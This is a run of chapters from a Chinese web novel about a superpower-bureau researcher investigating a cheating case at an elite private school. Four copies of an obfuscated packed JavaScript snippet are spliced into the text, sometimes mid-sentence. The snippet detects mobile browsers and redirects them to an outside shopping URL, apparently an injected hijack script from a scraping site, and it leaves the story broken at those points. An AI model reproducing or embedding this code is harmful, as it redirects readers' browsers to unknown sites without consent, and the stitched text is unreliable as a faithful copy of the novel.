“首先要排查顾昐的人际往来圈子,”林昭基于作弊案,提出自己的要求,“他和谁走得近关系好,和谁有竞争关系或是起过冲突……我需要和这些同学,做个简单的一对一沟通。” 顾昐的作弊手法尚不明确,但他本人既不具备考取高分的素质,也不具有独立完成作弊的能力。那么,他能在学校安排的几次复测中高分过关,必定借助了某种外力。 学生的社交关系相对简单,林昭预备从他身边查起。 借由这个机会,也可以从旁人口中,更多了解当事人真实的行为习惯。 心理老师偷眼觑教导主任的脸色。教导主任一说好,她复读机似的,立刻好好好。 眼见两人没有异议,林昭得寸进尺,又索要了顾昐入学以来的全科成绩单以及晟华两年内的流动分班记录。 问的都是教务处能查阅到的一般性资料,不涉及任何的敏感信息……午后晕饭的劲儿过去,又喝了几口茶水,教导主任的头脑便清醒了些。 一清醒,她不由起了疑。 这算什么来查晟华的?这问东问西,小打小闹……关心的不还是作弊案那点事儿吗??? 做到教导主任这个级别,见过的学生比吃过的饭还多。像这位小林老师,她一眼就能看透是温室里养出来的白纸一张。单纯,温和,无害,有点无聊的坚持,或者说,死脑筋…… 像他这样性格的学生,最好的情况就是留用象牙塔,谋求一个教职或是研究岗位,清苦一生,知足常乐。发展差一点的,毕业后入社会容易眼高手低,必须得学着摆正自己的位置,认清楚理想和现实之间的差距,才不至于心理失衡。 总之,就是个还未脱离学生气的新手。 说不准还不是正编,就是个外包合同工……教导主任不无同情地想。 此时的她还不知道。 林昭超管局外包合同工的身份,是她诸多猜测中唯一蒙对的一项。 小心临时工。 放下茶盏,教导主任起身:“好了,情况呢,我都了解了。你们先忙,要遇到什么问题,再联系我。”顺便还狠狠剜了心理老师一眼。 什么乱七八糟的,假传军令,疑神疑鬼,自己吓自己,白白叫人劳心劳力。 心理老师想不通自己做错了什么,一时间懵得找不着北。林昭却也跟着站起来:“主任,您别走啊。是这样的,我这还需要校方提供一份高功能人群的名册表。除学生以外,包括教师、行政、勤务人员等在内的教职员工也需要登记在册……” “……对,调查需要。都有嫌疑……希望老师们也能配合,这也是为了学校的声誉。……主任,您怎么了?您的脸色不太好。要不,还是坐会儿再走?” “……来,主任您的茶。没关系的,主任您很为难的话,我这边也能自己想办法。这样,您给我个总体名单,我去超管局数据库里一个个调。就是人数比较多,可能比较花时间,容易耽误事……” “扑通”,教导主任又坐下了。 她抽着嘴角笑:“别急,咱们一件一件来。小林老师,您刚说什么来着?要排查顾昐的朋友圈子是吧?这个容易……” 林昭摸着一点门道。 他也笑:“还需要所有高功能教职员工的名册表。” 有了心理准备,这一次两位老师的情绪控制得都很不错。但就在话音落下的一瞬间,智能腕表仍是监测到了空气中微小的电化学波动,将异常数据返给了林昭。 “给个时间吧。”林昭见好就收,“调取所有这些资料,要多久?” 没过半小时,高二十八班的班导亲自押送两位男生,来到心理咨询室门口。 找的借口,是国际游学夏令营面向候选人顾昐发起的背景调查。 别人的事究竟与自己无关,两个学生麻木杵着,满脸都写着随便怎样都好快点结束走人。 直到进了色彩活泼的诊疗间,俩人才变得活跃了些。 “Hello啊,我叫王觊。很高兴认识你……这样,先介绍下我自己吧。我的能力呢是‘胸口碎大石’,不过我更喜欢叫它一饭超人。”第一位聊的是个体特生,性格外向,挺好沟通,“吃撑了才起作用,副作用是开完大原地睡着,谁来都叫不醒那种。对体训成绩也没什么帮助,纯属废物。” 不太明白他为什么要从超能力开始介绍自己,林昭提醒他:“顾昐。” “哦,哦,顾昐。”王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701075|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觊回神,“你们是那个……夏令营背景调查是吧?顾昐入选啦?挺好,我觉得不错。挺希望他能去的。这哥们入学第一天就说自己要出国,念了两年,低头一看,书还翻在Abandon呢……对,对,但最近往后翻了几页。有进步。” “没有,我们不是朋友。算不上。顾昐没什么朋友。……不是说他人不行,就是玩不到一块去。你看他那样,打球上不了踢球也不行,动两下就哼哼自己胸闷难受,这谁忍得了?” “最近走得近,是因为他要减肥。一开始还以为他开玩笑,没想到天天下了晚自习包一甩就去操场跑步。我这个人,最见不得别人真心诚意。这不得帮帮他?” “一来二去,就熟了。哈啊?你问为什么减肥?害,那还能是什么……肯定啊,肯定是——” “单荔啊!!!” 被问及同样的问题,另一个同学笑得呱呱打鸣。 单荔这个名字,今天是第二回听到了。林昭记得她是中午来敲窗那三个女生中,被隔空搭讪的那一位;但他没记住女生的长相,只能想起她似乎梳着一头又黑又亮的笔直长发。 正如王觊所说,顾昐没什么朋友。这位前桌讲起顾昐,神情中总带着种玩味的戏谑,好似在聊一个丑角吉祥物:“就去年冬天的事。他发失心疯,和单荔告白。” “这事情,整个高二没人不知道。毕竟,那可是单荔。她爸爸是哪个银行的行长吧……当然,她自己也不错。长得也行,成绩也好。” “没意外,当然是被拒绝了。啧,单荔平时那得多傲一个人啊,白天鹅,颈子翘到天上去的。被肥猪仔盯上,她也真够丢脸的了。” “他们说单荔在班上读了顾昐的情书。”说到这段时,王觊表情凝重,“读完,就把他的信给撕了。” “撕就撕了,还到处乱丢。”另一个同学回味道,“有几片碎纸片飘下楼,飘进了咱班窗户……哎,当时顾昐那个表情,可太有意思了。” ——从那以后,度过了多久呢? 果然,无论过去多少时间,还是无法忘却初次见面的那一天。 ……尽管脑中有着犹豫,身体却好似有了意识,自行行动起来了一般。 万卷长丝随风扬起,高傲的少女回眸。 在一段旁人不能理解的开场白后…… 那就是所谓的,“命运”的相遇吧。 “不要再背了。”林昭面无表情,“说些别的吧。” “是这样,那事以前,他俩关系还不错。”回忆往事,王觊再度跑题,但这回林昭没打断他,“单荔有时候下楼来找他……俩人还被撞见过一块吃饭。” “都说顾昐这学期特别努力,是想把单荔追回来。”另一个同学嬉笑道,“不过这都是同学间的笑话,老师您别当真。” “可以了,就到这吧。”又问了几个无伤大雅的问题,林昭做完记录,起身送客。第二个男生挺不情愿地往外走,一边喋喋不休:“哎,林老师,我还有话没说完呢。那个,你是那个网红对不对?地表第一!飞行系的能力者!我我我,我能和你合个影?签个名,签个名也行!” 林昭:“……?”谢谢,提醒他了。 他把人支走:“这样吧,你把王觊同学喊回来,换你俩给我签个名。” 几分钟后,一高一矮两人大眼瞪小眼,在心理老师的违约警告里,老大不情愿地签署了两份新鲜打印的保密协定。 无人在意的角落,合拢的工具箱中。 分别锚定心理老师和王觊的探测光束悄然劈开第三道,指向了窗外某个方向。 15. 大王 将两位同学扭送回班,心理老师请示林昭:“需要现在喊单荔同学过来吗?” 又仔细嘱咐他:“单荔是名校班的,课业强度和普通班不一样。请她过来问话,最好先通过主任,和他们班导提前报备打个招呼……” 春分已过,天黑得仍早。窗外树影遮蔽,过了四点,视野便显得尤为幽暗。林昭望了眼外头,道:“问问她明天是否有时间。” 从两位同学的谈话中知道单荔这个人后,林昭注意到她格外有意思。她的成绩优秀,午间的光探头监测记录,也证明她拥有超微级以上的超能力。此外,她还和举报人的独生子高曜是同班同学。 常年蝉联学级第一的高曜和常年吊车尾的顾昐,除了红黑榜就毫无关系的两个人,却因为单荔的存在,表现出了某种潜在的联系。 “高曜……还有这几位同学,”林昭不知从哪找到张高二三班的运动会集体照,凭记忆勾出中午见过的那几个男生,转发给心理老师,“可能也需要重点关注下。” 心理老师皱了眉。据她的经验,这些优秀的孩子其实不比普通班的孩子好打发,他们有自己的一套处事逻辑,老师说什么,他们不一定认,可能阳奉阴违,更难沟通。 林昭看出她的为难,也就不往下说了。默了片刻,他突然想起个蹊跷话题:“是这样的,今天我还看到,呃,一匹马……” 心理老师瞬间接过话茬:“什么马,那桑士桢吧!” 哦,这还是匹名驹。林昭忽然乐了:“桑士桢?学校里他很出名?” 又想了想:“他有什么能力?” 心理老师啐了声:“没有,没有。林老师,您别被他那副鬼样子唬到了。他是普通人,不像咱们,没有特殊能力的。” “倒是有名,出的那都是恶名。他啊,就是那个什么……校霸啊!顶着一张刀疤脸,恐吓同学,拉帮结伙,收保护费,和隔壁校的打架斗殴……无恶不作。”心理老师表情复杂,“哎,但想想又觉得可怜。他那脸,听说是他爸给弄的。一家暴男,要捅他妈妈,他拦着,给划了十几二十刀。可是呢,摊上这么个爸却不学好,只学到暴力解决问题这一招,这又有多可悲呢……” 谈到青少年家庭教育,心理老师颇多感慨。林昭有一搭没一搭听着,手上打开工具箱,看了看飞碟数据模型的演算进度,筛掉几个坏点数据,又去检查从午后到现在的光探头观测记录。 时间,距离,滞留时长,波形,烈度……排除掉已知访客,光探头还记录下了窗外门边长时间逗留的数组能量数据。 林昭对着其中三组数据,出了会儿神。 能力烈度分级算法,是综合各单项数据,再加乘特定的常用系数,依照固定的数量级比例来排列的。不同烈度间尺度差距颇大,鲜少会出现中庸的状况。 但就这一下午,心理室窗外就出现了三例表现异常的数据。 两例来自中午敲窗的三人组,短发女生和梳着黑长直的单荔;一例来自不久前,有谁近距离地在窗外驻留过一阵子。 学界共识,高功能的觉醒和人体的生理节律息息相关。年轻一代的高功能群体,绝大多数都会在十八岁前觉醒异能。而在青春期,伴随着激素水平的剧烈振荡,异能的表现也会变得更为不稳定。 林昭觉得,这些在学校里获得的观测记录,对于研究异能力的来源和构成,可能会起到帮助。 “……凭良心讲,他愿意戴个马头,那也是有自知之明,算做善事了。”心理老师自顾自讲得起劲,“林老师,真的,别管他。这桑同学动起手来都是把人往死里揍,一点恻隐之心都没有。哎,有些人的基因啊注定了他们只能是社会的渣滓……” 林昭疑惑:“死人了?那得进去吧。” 他给自己找到新活儿干,这会正叮叮当当地拆智能表。他预备升级裸机版本的探测器,把它置入到随身智能模块里。再装它十几二十根机械指针,走哪指哪,野生的能力者们将无所遁形。 “没死,没死!这就是一种夸张手法!”心理老师抹了把脸,“不是,那比死人还严重!林老师,您知道他揍的谁吗?他啊,给咱们书记揍了一顿!!!脸上碗口大淤青,三个月才好透!!!” 难怪物理老师怕一匹马怕成那样。林昭了然,又问:“那他怎么还在学校里?” 他自己十三岁进的科院少年班,没体验过正常的校园生活,但关于学校的基本常识还是有的。重拳出击暴打书记,这不该挣个退学处分吗? 心理老师鬼鬼祟祟压低声音:“这就是最诡异的地方了!书记都被他威胁了,您说这桑……他得啥背景啊!?离他远点吧,咱惹不起,总能躲得起吧!” 林昭不置可否,由着这个话题过去了。 他专心忙自己的,时间流逝着消失也浑然不觉。不知过去多久,心理老师不再说话,外头也没了声。 夜幕低垂,天墨染似的黑。人去楼空,教务楼寂静无声。走廊外影影绰绰的灌木丛尽头,高大耸立的教学楼亮着一畦一畦惨白的灯。 窗上起了雾。林昭扯了张纸巾,用力擦了擦朦胧的窗玻璃。 没任何变化。 水雾蒙在外头。从里往外,擦不着玻璃上歪歪扭扭淌着水的三个字。 “滚、回去”。 “滚”字笔画最多,写得最大。到了“回”和“去”,明显能看出松了口气的感觉。 以写镜面字的标准来看,林昭以为,这几个字已算是写得非常工整。 谁给他留言?没有头绪。 光探测仪拆了还在改,几小时的空白,给人钻了空子。 林昭想,大概他是无意间妨碍到谁了。 既然心理老师和教导主任可以透过只言片语,自行脑补一出超管局站队下场、清查整肃的大戏,那说不定也会有人站在对立立场,拿他这个外来者当假想敌看待。 调安保监控要写申请报告,还得跑好几个办公室找人轮流盖章,太麻烦。林昭压下念头,收起工具箱锁了办公室,穿过林荫道直接走人。 没必要急在一时。特地挑了没什么人的晚自修时间,为了让人看懂还小心翼翼反着写字……敌人这么努力,林昭觉得他可能什么都不必做,守株待兔等对方冒头就行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701076|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真有事再说吧。 下班以前,教导主任已把顾昐的成绩单、流动分班记录、几个班级的学生花名册及登记在册的高功能学生名单都发到了林昭邮箱。 至于教职工的,她托词校办的Ami秘书已读不回,又将问题原封原样,踢皮球踢了回来。 坐上回705的夜间巴士,林昭将联络超管局,调取、筛查学生能力数据的工作分了分,均匀摊给了三个人。下车经过便利店,他进门拿了个摆在促销位的海鲜杯面,货架前转了转,又取下来一袋金枪鱼味猫粮和几条猫零食棒。 学校里禁止带猫,飞碟只能全权托管给三个师弟师妹。林昭拎着购物袋怀着某种不祥的预感推开705的门,冲眼就见到一只黑猫倒挂在天花板上太空漫步。 甚至还大摇大摆呲了一墙。 车敏、谭之和解洋操持着清洁工具,飞上舞下地打扫,一见着林昭,喊着嚷着要去忙工作,交付手中权柄予他,扭身全跑了。 林昭:“。”这亲生的好弟妹!!! 干尽坏事的飞碟小声呜喵着飞扑进林昭怀里,显然是觉得苦尽甘来了。林昭看着墙上一路渗下来的印痕,无奈轻揪了把猫耳朵。 单做卫生有点无聊,林昭打开电视,翻出一部最近很火爆的青春校园偶像剧,播着当背景音。 没有正常就读普通高中的经历,可能不容易理解当代高中生的做事思路。林昭虚心就学,本想好好听一听电视,但不知怎么硬是没办法集中注意力,听了半天,耳中只刮进去零星几个词。 家暴的爸……据解洋说,飞碟的反重力场持续时间增加了0.15个百分点,这一数据的变化,初步推测和它的体重变化有关…… 重病的妈……体重,体重,体重……反重力场的辐射范围也增加了,和飞碟体内多巴胺的分泌量级呈现出正相关…… 上学的妹,还有破碎的他……为什么碎了?怎么碎的?摔地上了? “只要你一句话……”屏幕上一双美目泪眼婆娑,“就算全世界都背叛你,我也会无数次地奔向你!!!” 林昭一惊回神,不觉打了个寒战。 哭得好狰狞。什么情节啊?…… “师哥,你、你你你看什么呢!!?”车敏换掉实验服,背着双肩包从自己的实验室荡出,一嗓子喊回了林昭的魂,“我的天,这狗血片可腻歪了,我都吃不消的,你竟然看这个……” 她用一种颇为八卦的眼神打量林昭。 林昭关了电视:“呵呵。” 夜深,林昭将飞碟装进猫包,慢悠悠下楼回家。 车敏和谭之都在外头租房,解洋是住在实验室的。但林昭担心飞碟晚上一个猫待在关灯的大客厅里惊惶害怕,705打卡接送飞碟就成了他的例行日程。 带猫回家住,又担心冲撞了隔壁屋猫毛过敏的老太太。是以这段时间,林昭每天早出晚归,和老太太打一个极限作息差。 不赶时间,一人一猫慢吞吞行过夜色下困倦的城。回到鱼珠巷,泊了车,林昭习惯性地抬眼。 邻家那扇窗洞中,亮起了一盏暖黄的灯。 16. 别开枪 “体重——体重。”凌晨五点,天光蒙蒙。林昭连打几个哈欠,揉掉睡眠不足引发的生理性泪水,气势汹汹给温准连拨了十几通电话。 拨到二十几次,这电话还真给他打通了。 “温科,你们给顾昐安排的能力测试,它不对啊。”不等人出声,林昭一句话封死对方,“出错了,有纰漏。” “一个很关键的……”他打个哈欠,加重语气,“错误。” 温准:“。” 行,又来打他脸了。 他们的林工毫无时间观念,随时突发神经刀的操作,他都快习惯了。 超管局有普遍共识,705的人脑袋全都有问题。所长林君成狂热痴迷高功能研究,被害妄想病入膏肓,逢年过节给上头打报告说高功能战争箭在弦上,必须不计一切全情投入,未雨绸缪筑牢屏障,才能在未来打赢一场有准备之仗。 林昭作为她最心仪的学生,看起来脾气还好,实际疯得不遑多让。局里不少人背后偷着说林昭就是林君成从福利院里拣出来的一条仿生机器犬,林君成想什么他想什么,林君成不说话他都知道该咬哪,别说肉包子,骨头都不需要喂一块。 车敏和谭之两个后来的,嘴毒了点人比较刻薄,都不算什么大事了。至于解洋,他既能和这一屋子人和乐融融,本人又能正常到哪里去? 温准不说话,林昭也不在乎。电话嘛,没挂就是在听:“不能叫错题本了,不确切。我建议改个说法。嗯……叫什么呢?基于重力流动变化的逆向潜意识概率预测模型?这个如何?够明确吗?” 温准瞪着天花板,咬住牙。 不明确。难以理解。 二十几通电话把他摇醒就说这个? 一个错题本,不能上班再说? 勉力忍下把林昭一口气拉进黑名单的无名怨忿,日日两点睡七点起的超管局模范优秀员工一把掀了薄被翻身下床:“那你,详细讲讲。” “我对照了很多资料。”林昭的声音困得发哑,却也掩不住兴奋之情,“顾昐这两年来的成绩单和各类团体照证件照,同学的证词,还有网上流出的、被各大题库收录的晟华各学年的考题……” 温准:“你把那些卷子全做了一遍?” 电话那头的语气微妙嘲讽,林昭却完全略过了这一点。他自顾自地高兴:“你怎么知道?不过严格来说,不是我自己做的。” “我写了个爬虫,抓取了这几年的高频错题,将知识点按照出错率和实测浮动程度分类打包,捏了一个模拟顾昐的刷题模型……” 每次都这样,迟迟不讲重点吊胃口,恨不得别人多追问他几句。温准关了麦听着,没表情地洗漱穿衣,心想果然还是该找个合适的时机把林昭拉黑。 或至少在下班时间屏蔽他。 “……跑了五万次数据。”他换完衣服出门,林昭终于结束漫长的炫技前摇,进了正题,“模拟结果,和顾昐的真实成绩出现了较大偏差。但,只要加上体重补正系数……” “哦,对,刚忘了说。从照片上看,进晟华后顾昐的体重一直在增加。与此同时,他的成绩也由入学摸底考的四百名左右,一路滑落至学级垫底。” 成绩和体重相关,乍一听是个巧合,但结合林昭前边说的话,温准听懂他的意思。他开麦:“你是说……” 林昭点头:“超管局的测量结果,少算了一个‘扳机’。” “顾昐的反向预测准确度,和他自身的体重呈现指数型正相关关系。” “体重越大,预测准确度越高。两百二十斤是临界点,一旦超过这个重量,他的反向预判能力,准确度几乎可视作百分之一百。” “体重决定期望概率。”林昭总结道,“这就是,控制顾昐能力的另一个‘扳机’。” ——“扳机”,或者“触发器”。 使用超能力的必要控制条件。 它是705提出的基础概念之一,亦是目前的异能评测体系里,占据相当权重的关键评估指标。 假设有那样一位能力者……他具备着足以毁天灭地的能量,却必须身处没有人类生活的星球上,才能够将能力发挥出来。 “没有人类生活”,“身处某星球的表面”这两项必要条件,即被称作能力的“触发扳机”。 遭了这样两道扳机钳制,这位能力者可能终其一生,都无法发现自己其实拥有非凡的才华。 即使有朝一日,他有幸察觉到自己的过人之处,这样的超能力依然百无一用。 就算进行宇宙旅行,跃迁到了无人开垦的蛮荒星球,只要这位能力者自身仍是个“人类”,触发能力的前置条件就无法被完全满足。 扳机不响,异能哑火。扳机拉响,子弹出膛。 四大分型的能力因了千奇百怪的“扳机”,使用形态和能力强度也就千差万别。 关于“扳机”的形成原因,目前主流论调称与个体的认知和心理状态有关。但这一部分的观测标准难以量化,又因涉及到心灵隐私和人体实验等问题,在伦理道德领域存在诸多争议,研究工作也就很难深挖推进。 “据顾昐班上同学的说法,这一学期开始,顾昐就在努力减肥。”在林昭看来,顾昐本人的动机已非常清楚了,“为什么减肥?很明显地,因某种原因,他急于挣脱特殊能力带来的负面影响……他不想再当吊车尾。” “那他选择了最错误的一种方法。”温准很客观地评价了一句。电流底噪中声声鸟鸣,他提醒林昭:“快六点了,你睡吧。” “好吧。”林昭按了按发沉的脑袋,“再会。” 掐了电话起身,林昭扭了扭酸痛的脖子,先去冲了个澡。期间站得不太稳,他不慎把脑门磕到花洒上,彻底痛清醒了。 换了身衣服,脖子上湿漉漉挽着条长浴巾,林昭开门,探出脑袋看隔壁邻居门口。 邻居家的门安静关着。过道墙边三层花架堆积着的多肉和仙人掌盆栽消失不见,对着外头的露天灶台被擦拭得荧荧闪光,灶台角落无限垒高顶到油烟机的一摞红鲤鱼搪瓷缸子,也全被挪走了。 昨晚大半夜隔壁点灯,数名衣着整洁利落的搬运工人来回穿梭,将老太太屋里的家私重物一批一批往外抬,原来不是他太困看花眼。 九十六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701077|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁的老人,大动干戈搬家出户……也没见着过老人的亲子女来接人,这事想来有些不常见。 但也有好处。 林昭关门,蹲身摸了摸凑过来拱他的飞碟。 “今天就留在家里吧。”他笑眯眯地,“咱们都能多睡会儿。” “但,不许拉地上。” 到了晟华,林昭和学生们一样,推车到专门的车库去停。 早晨的校门外堵得水泄不通,整条路都成了私家车的停车场。面积本就不大的自行车库相形之下格外空旷,稀稀拉拉十几辆自行车,每一辆都能独霸一方。 停了车,林昭沿入口斜坡往下走。没几步,他突然顿了下,很快又没事人似地往前。 从刚才开始,他就觉得有人在盯着自己。 但学校里人多眼杂,干扰太多。拿月币出来校验是否被监视,结果恐怕也不会很准确…… 转进教务楼时,那种被人盯着脊梁骨的感觉终于消失。林昭进心理室放下工具箱,返身出去,在车库斜坡下方磁吸起一枚沙粒大的医用内窥摄像头。 原本是打算装完腕表,把摄像头联个网挂在顾昐身上的,没想到在这里先试用了。 “马……他怎么骑自行车上学?”几分钟后,林昭凑在屏幕前琢磨摄像头录下的画面,“不是说家里有背景?” “谁???”心理老师反应了几秒,恍然顿悟了,“噢!!!您说桑——” 她又压低了声音:“道上的!是道上的那种!搞黑吃黑的!!!” 林昭看她一眼:“……很厉害。” 和单荔的问询约在下午,占用的是她选修的艺术鉴赏课。早上没什么事做,林昭仍旧不紧不慢改他的智能腕表。 课间围观、到访心理室的学生仍然不少,这种热络的氛围,林昭也稍微习惯了一些。心理老师更是快乐无比,屋里屋外飞来飞去,搬出许多色彩缤纷的宣传手册和小巧Q弹的解压玩具,递到每一位对心理室感兴趣的学生手上。 “我这屋子,从来没这么热闹过。”午休时来的人更多了,心理老师帮林昭全挡下来,忙得不可开交。送走两个学生,她进来歇一口气,对林昭说:“十五年。教育考试改了又改,课制课时变了又变。也不知为什么,要学的课反而越来越多,学生一天比一天忙,我看着都替他们累。一个个压力大到不行,这两年来我看到的情绪色也是越来越灰,但愿意来心理室聊一聊骂一骂的学生,反倒越少了……” 虽然看不到情绪的色彩,林昭也能感觉到心理老师现在的心情非常好。他正想说点什么,室内的广播喇叭突然聒噪,扬起了一段刺耳的流行乐。 「晟华之声,晟华之声。为您播报一条好消息。」乐声落下,一把甜美的嗓音字正腔圆播起校园新闻,「今晨,国际游学夏令营全球选拔结果出炉。我校高二十八班的顾昐同学以微弱优势惊险入围,高二三班的高曜同学遗憾落选。」 「让我们祝贺顾昐同学凭借优异成绩,提前锁定常春藤大学席位,也让我们为高曜同学送上最真挚的祝福和鼓励!」 「他们都有美好的未来!鼓掌——!!!」 17. 自己人 心理老师跟风拍两下手,感叹道:“这可就……解放了。和保送差不多,以后这小孩爱做什么做什么,想不来学校都可以。” 国际游学夏令营是由北美若干知名藤校联合创办,面向全球顶尖高中生展开选拔的特别夏令营,入选后能接触到藤校讲师,参与专业兴趣课程试读,另有诸多社交和社会活动虚席以待。 选拔标准苛刻,除个人素质、校外社会活动、成绩绩点以外,家庭背景评估也是重要一环,祖上三代的血统成色都要被纳入考量。 顾昐出身外交官家庭,祖上蒙荫,福泽五代。凭这一学期勉强拔升的绩点,再加上其他九十八项随便什么加权分数……总之,他力压高曜,光荣成为了晟华私校本学年唯一的入选人! 暑假一到,他就将代表晟华飞往太平洋彼岸,开始为期一年的海外游学。 不需就读国际班,也能一步升天,登上国际舞台! 手机一亮,温准的电话跳出。 林昭正忙着,勉强分出根小指,无情拒了他。 不用想。温准打电话从没别的事,指定是来催他加快进度的。 选拔结果早八出炉,官方披露消息,几手流转到超管局,一个上午能催到他这里,效率不错,确实还挺迅速。 但,他被派遣到晟华来,好像都没到三天? 超管局内部,立案流程上就跑了半个月;到他接手,三天就催着要结果。 本想借着这次拆机,把用于测量高功能分型、烈度、闪烁值等精细化数据的模块都一并写进去的……没时间了。 删减成极简版,那就是凑合用的。林昭思考着临时方案,叹气自语:“还能不能讲道理了。” “不讲理!没——道理啊!”心理老师鸡同鸭讲,高声附和,“要我说啊顾昐这孩子,不就这学期才开始努力学习吗?期中考试的成绩,还是靠欺骗得来的。就他这样,竟然都能靠家庭关系和场外运作把更优秀的学生挤掉自己上位……” 林昭:“?”他没说这个吧? “作弊这种事,涉及到道德品行不端,只有零次和无数次的区别!”心理老师愤然,“顾昐既然敢在校考中作弊,那他当然也敢在选拔考试中玩弄手段!!!林老师,您说,是不是这个理啊!?” 窗外楼头,许许多多细微的说话声回应了她。 ……就是说啊。 怎么能这样…… 轮到谁也不可能是……好笑。 早知道这么轻松,我也去报名了。 电台广播一响,整个晟华炸了锅。绿林荫下,体育场上,教学楼人头熙攘的过道,琴房、排练厅、活动教室、天文台……躁动的情绪跳动不休。 每个人都在问每个人同样的问题。怎么是他?……怎么会是,顾昐呢? “高曜太倒霉了吧。”走廊外几个学生走过,“没得说,顾昐肯定又搞事了。” “别羡慕,羡慕也羡慕不来。”另一个接茬,“当然了能搞到不被抓包,也算有本事。” “确定吗?学校都没出公告。” “铁真,就忌惮顾昐家里呗。”另一个说,“出这事前,谁知道他家这层次啊?真能装。” 几个人聊着走远了。温准发消息来:「举报人家长有意愿进一步追加经费投入。」 加钱就是诚意的表达。林昭点开表情列表,回复他一个OK。 午后,教导主任托心理老师转告林昭,说单荔身体不太舒服,下午请假早退,不来了。 “单荔。”林昭调出昨晚705几个人理好的资料,“她……” “林老师,您别多想。”心理老师忙道,“这女孩身体不太好,定期要去医院复查。应该就是个巧合,改天再约她就好。” 林昭:“你认识她?” 心理老师:“她来过一次心理室,刚才看到她照片,我想起来很早以前见过的。” 她拉开柜子在一堆学习文件中找被压在最底下的咨询报告:“单荔。我记得她是个穿着时尚、长得很美的女孩……” 车敏将每个高功能学生的资料做成了完整的独立页面,林昭定位名字,点开翻阅单荔那一页。 「姓名:单荔」 「能力:定型摩丝」 「类型:原子系」 「烈度:超微级」 「描述:能够在微小尺度上,干涉头皮部位毛发大分子角质蛋白的组织构成。」 「能力效果:只要是自己内心发自真心喜爱的发型,就能够使用能力,将它的长短、硬度、造型,长时间持续保持住。上限时间未知。」 车敏的备注:真正的永久牌人生发型,好羡慕,想要,分我。 林昭:“……” 原来是八级台风也吹不乱发型的能力。 很难评价。有种既没有用,又意外犀利的感受。 “约她别的时间吧。”极简版随身光探测仪飞速地收工,林昭扣合表盖戴回去,起身往外,“我去一趟校办。” 身后,心理老师向林昭投去崇敬的眼神。 昨天也去,今天也去。谁敢那样天天往校长室跑呢?果然是在沟通工作吧…… 这个级别的事务,不是她小小一个基层教师可以参与的。心理老师突然庆幸,自己第一时间看对了人,站到了正确的队伍。 以后,必须要更积极协助林老师工作才行! 穿过教学楼,藤萝掩映的水池花园中屹立着一幢三层高的砖石洋房,这就是校长办公室、秘书室等的所在地。 接待台布置在二楼入口处大厅,昨天空无一人的大理石半圆台后头,今天落座了一位姿仪姣好、脸盘天阔地圆的美丽秘书。 “您好。”Ami秘书抿唇微笑,“请问您有预约吗?” 昨天是发过邮件,但您已读不回……话肯定不能这样讲。林昭很有信心地说:“有预约,三点。” Ami歪歪头,指尖微动,按照程序查询预约记录。远处走廊门开门响,林昭抬眼,见着一个穿着灰色羊毛背心的英俊男生,从校长办公室走了出来。 高曜? 教导主任都不能随意出入的校长办公室,他一个普通学生,说来就来? Ami停下动作,抬眸微笑目送他:“高同学,走好。” 高曜冲她笑了笑,错身掠过林昭,向电梯间去了。 林昭摸出黎沅那张小卡拍在接待台上,反身两步追上! Ami茫然看着一个人追着另一个人进了电梯,回神,心不在焉摸下接待台上的全息光栅纪念卡。 冷光浮动,俊美无伦的肖像浮现。 Ami表情微变,弯月眉轻绞,陷入了沉思。 “高曜同学。”追进电梯,林昭按下关门键,道,“可以聊聊吗?” 英俊的男生情绪微妙地消沉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701078|144450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他凝眸看了林昭一会儿,沉声道:“我知道你。你是我妈找的人。” 一楼很快就到。林昭按住开门键,请高曜先出。 两人保持着半个身位差往花园里走。高曜看一眼林昭,道:“她非常坚持……我不希望这么高调,但没办法。她不听我的。” 林昭:“都在说夏令营的名额本该是你的。” 阳光下高曜的脸色有些白:“是我自己能力不足。不怪谁。” 林昭:“单荔还好吗?” “单荔?”问题跳跃太快,高曜滞了滞,“没注意……她怎么了?” 智能腕表没作出任何反应。 没有能力,也没有谎言。 林昭直言:“我有事问她。” 